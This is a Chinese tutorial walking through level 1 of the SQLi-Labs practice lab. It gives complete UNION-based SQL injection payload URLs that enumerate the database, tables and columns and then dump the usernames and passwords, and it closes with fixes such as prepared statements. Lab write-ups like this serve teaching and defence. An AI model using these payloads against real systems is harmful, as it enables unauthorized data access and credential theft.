SQLi-Labs Less-1 通关教程

SQLi-Labs Less-1 通关教程

一、关卡核心信息

  • 漏洞类型:GET型单引号字符型SQL注入
  • 核心场景 :通过URL参数传递的id值未做过滤,可构造恶意SQL语句获取数据库信息
  • 前置条件:已搭建SQLi-Labs靶场(PHP+MySQL环境,如phpStudy、XAMPP)
  • 工具准备:浏览器(Chrome/Firefox)、Burp Suite(可选,抓包辅助)

二、通关步骤

步骤1:判断注入类型与闭合方式

  1. 访问Less-1关卡地址:http://[靶场IP]/sqli-labs/Less-1/?id=1
    • 正常回显:页面显示Your Login name:DumbYour Password:Dumb,说明id=1的查询结果正常返回。
  2. 构造测试语句,判断闭合方式:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1'
    • 回显结果:出现MySQL语法错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    • 关键分析:错误提示中出现'1'',说明传入的1'被拼接成了WHERE id='1''单引号未被过滤,且原SQL语句用单引号包裹参数 ,确认是单引号字符型注入
  3. 验证闭合有效性:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1'--+
    • 说明:--+是SQL注释符(+在URL中等效于空格),作用是注释掉后面的多余单引号,使SQL语句恢复正常。
    • 回显结果:页面恢复正常显示,验证闭合方式正确。

步骤2:查询数据库基本信息(联合查询注入)

核心原理:利用UNION SELECT联合查询,拼接恶意SQL语句,读取数据库隐藏信息。

  1. 确定查询字段数(判断原SQL语句SELECT后的字段数量):
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1' order by 3 --+
      • 回显正常:说明原查询有3个字段。
    • 若输入order by 4,会报错,进一步验证字段数为3。
  2. 构造联合查询,查看回显位置:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
      • 说明:将id改为-1,让原查询无结果,强制显示联合查询的内容;1,2,3为占位符,测试哪些位置会在页面回显。
      • 回显结果:页面显示23,说明第2、3字段是可回显的位置,后续可替换为查询语句。

步骤3:获取数据库核心信息

(1)查询当前数据库名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+
  • 回显结果:database()会显示当前数据库名(默认是security),user()显示数据库连接用户(如root@localhost)。

(2)查询数据库中的表名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 关键说明:

    • information_schema.tables:MySQL系统表,存储所有数据库的表信息;
    • table_schema='security':限定查询security数据库下的表;
    • group_concat():将多个表名拼接成一行显示,避免分页。
  • 回显结果:可看到security数据库下的表(如usersemailsuagents等),核心目标表为users(存储账号密码)。

(3)查询users表的字段名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 回显结果:显示users表的字段(如idusernamepassword)。

(4)查询users表中的账号密码
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,':',password),3 from security.users --+
  • 回显结果:显示所有用户的账号密码(如Dumb:Dumbadmin:admintest:test等),完成核心数据窃取。

步骤4:通关验证与总结

  • 核心成果:通过构造合法的SQL注入语句,从无权限状态获取到数据库名、表名、字段名、用户凭证等敏感信息;
  • 漏洞本质:后端代码未对用户输入的id参数做过滤/转义,直接拼接进SQL语句执行,导致注入漏洞;
  • 修复建议:
    1. 对用户输入进行严格过滤(如过滤单引号、注释符等);
    2. 使用预编译语句(Prepared Statement),避免SQL语句拼接;
    3. 限制数据库账号的查询权限,禁止前端账号访问information_schema系统表。

三、关键知识点梳理

  1. 字符型注入与数字型注入的区别
    • 字符型:参数被单/双引号包裹,需先闭合引号再构造语句;
    • 数字型:参数无引号包裹,可直接拼接union select
  2. URL编码注意事项
    • 空格在URL中可替换为+%20
    • 特殊字符(如&=)需编码,避免截断参数。
  3. 注释符的使用
    • --+#(URL中需写为%23)均可注释后续SQL语句,优先用--+适配更多场景。

四、实操截图标注建议(图文并茂适配)

  1. 截图1:正常访问id=1的页面,标注"正常回显状态";
  2. 截图2:输入id=1'的报错页面,标注"单引号触发语法错误,确认字符型注入";
  3. 截图3:联合查询显示数据库名的页面,标注"核心Payload与回显结果";
  4. 截图4:获取users表账号密码的最终页面,标注"敏感数据泄露成果"。

总结

Less-1作为SQLi-Labs的入门关卡,核心考察单引号字符型联合查询注入 的基础逻辑。通关关键在于:先判断注入类型与闭合方式,再通过order by确定字段数,最后利用union select逐层查询数据库、表、字段、数据。掌握该关卡的思路后,可快速迁移到其他字符型注入场景,是SQL注入入门的核心基础。

相关推荐
wq8973877 小时前
[AI问答]OpenSSL3.0+上的异步调用
网络安全
kali-Myon10 小时前
CTFshow-Pwn142-Off-by-One(堆块重叠)
c语言·数据结构·安全·gdb·pwn·ctf·
缘友一世12 小时前
PentestGPT V2源码研究之EGATS规划器
网络安全·渗透测试
一目Leizi13 小时前
Burp Suite实战:利用不同响应进行用户名枚举与密码爆破
运维·服务器·安全
大大打打13 小时前
7. 军用涡扇发动机全流程核心边界保护与异常工况处置
安全·涡扇发动机·发动机工作原理·军用涡扇发动机·战斗机
初九之潜龙勿用13 小时前
C# 解决“因为算法不同,客户端和服务器无法通信”的问题
服务器·开发语言·网络协议·网络安全·c#
宇擎智脑科技13 小时前
Claude Code 源码分析(二):Shell 命令安全体系 —— AI Agent 执行终端命令的纵深防御设计
人工智能·安全·claude code
Daiyaosei14 小时前
紧急安全警报:Axios npm 包被投毒事件详解与防护指南
前端·javascript·安全
运维行者_14 小时前
通过 OpManager 集成 Firewall Analyzer 插件,释放统一网络管理与安全的强大能力
大数据·运维·服务器·网络·数据库·安全
上海云盾-小余14 小时前
什么是流量清洗?DDoS 防御的核心原理与实战应用
网络·安全·web安全·ddos